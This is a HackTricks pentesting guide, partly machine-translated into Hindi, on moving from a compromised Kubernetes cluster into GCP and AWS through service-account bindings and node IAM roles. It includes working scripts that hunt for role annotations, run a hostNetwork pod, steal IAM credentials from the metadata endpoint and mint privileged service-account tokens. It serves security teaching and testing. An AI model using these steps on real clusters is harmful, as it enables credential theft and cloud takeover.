Kubernetes Pivoting to Clouds

Reading time: 15 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

GCP

यदि आप GCP के अंदर k8s cluster चला रहे हैं तो आप संभवतः चाहेंगे कि क्लस्टर के अंदर चल रहा कोई application GCP तक access कर सके। इसे करने के 2 सामान्य तरीके हैं:

Mounting GCP-SA keys as secret

GCP को एक kubernetes application को access देने का एक सामान्य तरीका है:

  • एक GCP Service Account बनाएं
  • उस पर इच्छित permissions bind करें
  • बने हुए SA की json key डाउनलोड करें
  • इसे pod के अंदर secret के रूप में mount करें
  • GOOGLE_APPLICATION_CREDENTIALS environment variable को उस path की ओर पॉइंट करते हुए सेट करें जहाँ json मौजूद है।

warning

इसलिए, एक attacker के रूप में, यदि आप pod के अंदर किसी container से समझौता करते हैं, तो आपको उस env variable और GCP credentials वाले json files के लिए जांच करनी चाहिए।

Relating GSA json to KSA secret

GSA को GKE cluster तक access देने का एक तरीका उन्हें इस तरह bind करना है:

  • अपने GKE cluster के उसी namespace में एक Kubernetes service account बनाएं, निम्नलिखित command का उपयोग करके:
bash
kubectl create serviceaccount <service-account-name>
  • उस GCP service account के credentials को शामिल करने वाला एक Kubernetes Secret बनाएं जिसे आप GKE क्लस्टर तक पहुँच देना चाहते हैं। आप इसे gcloud command-line टूल का उपयोग करके कर सकते हैं, जैसा कि निम्न उदाहरण में दिखाया गया है:
bash
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Kubernetes Secret को Kubernetes service account के साथ निम्नलिखित कमांड का उपयोग करके बाइंड करें:
bash
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

warning

इस second step में credentials of the GSA as secret of the KSA सेट किए गए थे। फिर, यदि आप read that secret को inside के GKE क्लस्टर से पढ़ सकते हैं, तो आप escalate to that GCP service account कर सकते हैं।

GKE Workload Identity

Workload Identity के साथ, हम configure a Kubernetes service account को act as a Google service account के रूप में कॉन्फ़िगर कर सकते हैं। Kubernetes service account के साथ चलने वाले Pods Google Cloud APIs तक पहुँचने पर स्वतः ही Google service account के रूप में authenticate कर लेंगे।

The first series of steps to enable this behaviour is to enable Workload Identity in GCP (steps) and create the GCP SA you want k8s to impersonate.

  • Enable Workload Identity on a new cluster
bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • नया nodepool बनाएँ/अपडेट करें (Autopilot क्लस्टरों को इसकी आवश्यकता नहीं है)
bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • K8s से GCP permissions के साथ GCP Service Account to impersonate बनाएं:
bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • Connect to the cluster और उपयोग के लिए create करें service account
bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • GSA को KSA के साथ बाइंड करें
bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • एक pod को KSA के साथ चलाएँ और GSA तक access की जाँच करें:
bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

आवश्यक होने पर प्रमाणीकृत करने के लिए निम्न कमांड जांचें:

bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

warning

K8s के अंदर attacker के रूप में आपको search for SAs करना चाहिए जिनके पास iam.gke.io/gcp-service-account annotation है क्योंकि यह दर्शाता है कि वह SA GCP में कुछ access कर सकता है। दूसरा विकल्प यह है कि क्लस्टर के हर KSA को abuse करके देखें कि क्या उसे access है.\ From GCP की तरफ़ से हमेशा bindings को enumerate करना और यह जानना दिलचस्प होता है कि आप Kubernetes के अंदर SAs को कौन सा access दे रहे हैं

This is a script to easily iterate over the all the pods definitions looking for that annotation:

bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM role for Pods)

Pods को IAM Roles देने का एक (पुराना) तरीका Kiam या Kube2IAM server का उपयोग करना है। सामान्यतः आपको अपने cluster में एक daemonset चलाना होगा जिसके पास एक kind of privileged IAM role हो। यह daemonset उन Pods को IAM Roles तक पहुंच प्रदान करेगा जिन्हें इसकी आवश्यकता है।

सबसे पहले आपको कॉन्फ़िगर करना होगा कि which roles can be accessed inside the namespace, और आप यह namespace object के अंदर एक annotation के साथ करते हैं:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

एक बार namespace को उन IAM roles के साथ configure कर दिया गया है जिन्हें Pods ले सकते हैं, आप प्रत्येक pod definition पर जिस role को आप चाहते हैं उसे कुछ इस तरह निर्दिष्ट कर सकते हैं:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

warning

As an attacker, यदि आप इन annotations को ढूँढते हैं pods या namespaces में या किसी चल रहे kiam/kube2iam server (शायद kube-system में) में पाते हैं तो आप हर role को impersonate कर सकते हैं जो पहले से pods द्वारा उपयोग किए गए हैं और भी बहुत कुछ (अगर आपके पास AWS account की access है तो roles को enumerate करें).

Create Pod with IAM Role

note

सूचित किया जाने वाला IAM role उसी AWS account में होना चाहिए जिसमें kiam/kube2iam role है और वह role इसे access कर पाने में सक्षम होना चाहिए.

yaml
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role for K8s Service Accounts via OIDC

यह AWS द्वारा अनुशंसित तरीका है।

  1. सबसे पहले आपको create an OIDC provider for the cluster करने की आवश्यकता है।
  2. फिर आप एक IAM role बनाते हैं जिसमें SA को आवश्यक अनुमतियाँ हों।
  3. एक trust relationship between the IAM role and the SA बनाएं (या उन namespaces को, जिनके सभी SAs को role तक access दिया गया हो)। Trust relationship मुख्य रूप से OIDC provider name, namespace name और SA name की जाँच करेगा.
  4. अंत में, ARN of the role को सूचित करने वाला annotation वाला SA बनाएँ, और उस SA के साथ चलने वाले pods के पास role के token तक पहुँच होगी। यह token एक फाइल में लिखा जाता है और path AWS_WEB_IDENTITY_TOKEN_FILE में निर्दिष्ट है (default: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

/var/run/secrets/eks.amazonaws.com/serviceaccount/token से token का उपयोग करके aws प्राप्त करने के लिए चलाएँ:

bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

warning

एक हमलावर के रूप में, यदि आप किसी K8s cluster का enumeration कर सकते हैं, तो service accounts with that annotation की जाँच करें ताकि escalate to AWS किया जा सके। ऐसा करने के लिए, बस IAM के किसी एक privileged service accounts का उपयोग करके एक pod exec/create करें और token चुरा लें।

इसके अलावा, यदि आप किसी pod के अंदर हैं, तो AWS_ROLE_ARN और AWS_WEB_IDENTITY_TOKEN जैसे env variables की जाँच करें।

caution

कभी-कभी Turst Policy of a role गलत तरीके से bad configured हो सकती है और अपेक्षित service account को AssumeRole access देने के बजाय यह इसे all the service accounts को दे देती है। इसलिए, यदि आप किसी नियंत्रित service account पर annotation लिखने में सक्षम हैं, तो आप उस role तक पहुँच सकते हैं।

अधिक जानकारी के लिए following page for more information देखें:

AWS - Federation Abuse

Find Pods a SAs with IAM Roles in the Cluster

यह एक script है जो आसानी से iterate over the all the pods and sas definitions looking for that annotation:

bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role to cluster-admin

The previos section was about how to steal IAM Roles with pods, but note that a Node of the K8s cluster is going to be an instance inside the cloud. This means that the Node is highly probable going to have an IAM role you can steal (note that usually all the nodes of a K8s cluster will have the same IAM role, so it might not be worth it to try to check on each node).

Node metadata endpoint तक पहुँचने के लिए आपको:

  • किसी pod में होना चाहिए और metadata endpoint कम से कम 2 tcp hops के लिए configured होना चाहिए। यह सबसे आम गलत कॉन्फ़िगरेशन है क्योंकि सामान्यतः क्लस्टर के अलग-अलग pods को metadata endpoint की access चाहिए ताकि वे सही तरह से चलें और कई कंपनियाँ बस क्लस्टर के सभी pods से metadata endpoint की access allow कर देती हैं।
  • ऐसे pod में होना चाहिए जहाँ hostNetwork enabled हो।
  • Node तक escape करें और metadata endpoint को सीधे access करें।

(ध्यान दें कि metadata endpoint हमेशा की तरह 169.254.169.254 पर है).

To escape to the node you can use the following command to run a pod with hostNetwork enabled:

bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Steal IAM Role Token

पहले हमने चर्चा की थी कि कैसे attach IAM Roles to Pods या यहां तक कि कैसे escape to the Node to steal the IAM Role जो instance से जुड़ा हुआ है।

आप निम्नलिखित script का उपयोग कर सकते हैं steal करने के लिए अपने नए मेहनत से प्राप्त IAM role credentials:

bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Privesc to cluster-admin

सारांश: अगर किसी pod से access the EKS Node IAM role संभव है, तो पूरा compromise the full kubernetes cluster करना संभव है।

For more info check this post. As summary, the default IAM EKS role that is assigned to the EKS nodes by default is assigned the role system:node inside the cluster. This role is very interesting although is limited by the kubernetes Node Restrictions.

However, the node can always generate tokens for service accounts running in pods inside the node. So, if the node is running a pod with a privileged service account, the node can generate a token for that service account and use it to impersonate the service account like in:

bash
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें